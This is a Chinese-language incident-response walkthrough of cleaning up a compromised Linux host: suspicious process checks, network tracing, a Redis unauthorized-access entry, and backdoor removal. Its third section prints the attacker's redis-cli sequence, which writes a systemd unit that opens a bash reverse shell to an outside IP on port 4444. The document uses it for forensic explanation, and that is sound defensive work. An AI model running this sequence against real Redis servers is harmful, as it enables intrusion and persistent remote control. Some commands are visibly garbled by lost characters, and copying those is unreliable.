1. 可疑进程识别与初步分析登录Solar_Linux系统后第一件事就是检查异常进程。很多运维同学习惯用ps -aux扫一眼就完事但实战中这种粗粒度检查会漏掉关键线索。我习惯用组合拳# 按CPU占用排序 ps -eo pid,user,pcpu,pmem,cmd --sort-pcpu | head -15 # 按内存占用排序 ps -eo pid,user,pcpu,pmem,cmd --sort-pmem | head -15 # 检查隐藏进程 ls -la /proc/*/exe 2/dev/null | grep deleted这次排查中/usr/lib/systemd/systemd-login引起了我的注意。正常情况这个进程名应该是systemd-logind多出来的这个进程正在建立SSH连接。更可疑的是用ls -l /proc/[PID]/exe查看时发现其指向/tmp/.hidden/.cache目录下的隐藏文件。排查技巧系统进程伪装常犯三个错误进程名拼写错误比如多空格、少字母文件路径不符合规范系统二进制文件不该出现在/tmp父进程异常通过pstree -ps [PID]查看2. 网络连接与横向渗透追踪用ss -antp发现异常出站连接时很多人只关注ESTABLISHED状态。其实这些更值得关注SYN_SENT持续存在的握手请求TIME_WAIT异常频繁的短连接非标准端口上的SSH连接比如6010# 持续监控网络连接每2秒刷新 watch -n 2 ss -antp | grep -E 6010|6011 # 检查ARP表记录 arp -an | grep -v incomplete在本次案例中发现49.232.112.164:6010的持续连接结合lastb命令查看失败登录记录确认该IP曾尝试爆破。通过tcpdump -i eth0 host 49.232.112.164 -w /tmp/attack.pcap抓包分析可见攻击者使用Redis未授权漏洞作为入口。3. Redis漏洞利用分析Redis 5.0.7的未授权访问漏洞利用流程其实很经典攻击者连接Redis后执行config set dir /var/spool/cron/写入定时任务反弹shell通过crontab持久化但这次攻击者用了更隐蔽的方式redis-cli -h 127.0.0.1 flushall redis-cli -h 127.0.0.1 config set dir /usr/lib/systemd/system/ redis-cli -h 127.0.0.1 config set dbfilename systemd.service redis-cli -h 127.0.0.1 set \n[Unit]\nDescriptionBackdoor\n\n[Service]\nTypesimple\nExecStart/bin/bash -c bash -i /dev/tcp/49.232.112.164/4444 01\n\n[Install]\nWantedBymulti-user.target\n \n这种手法将后门伪装成systemd服务比crontab更隐蔽。排查时可检查systemctl list-unit-files --all中的异常服务。4. 持久化后门清除实战找到/tmp/run.sh和/app/server.js两个后门后直接kill进程是没用的。我的清除步骤先阻断网络连接iptables -A OUTPUT -d 49.232.112.164 -j DROP清除恶意文件时要注意恢复原始文件属性# 备份被篡改文件 cp /usr/lib/systemd/systemd-login /tmp/.bak # 从安装包恢复原始文件 rpm -qf /usr/lib/systemd/systemd-logind | xargs rpm -q --scripts对于不死马最有效的方法是# 1. 清空文件内容而不删除避免触发重建 : /tmp/run.sh # 2. 修改文件权限 chattr i /tmp/run.sh # 3. 重启前先阻塞执行路径 mv /bin/bash /bin/bash.bak touch /bin/bash最后记得检查所有账户的authorized_keys、crontab -l -u root以及/etc/ld.so.preload等常见持久化位置。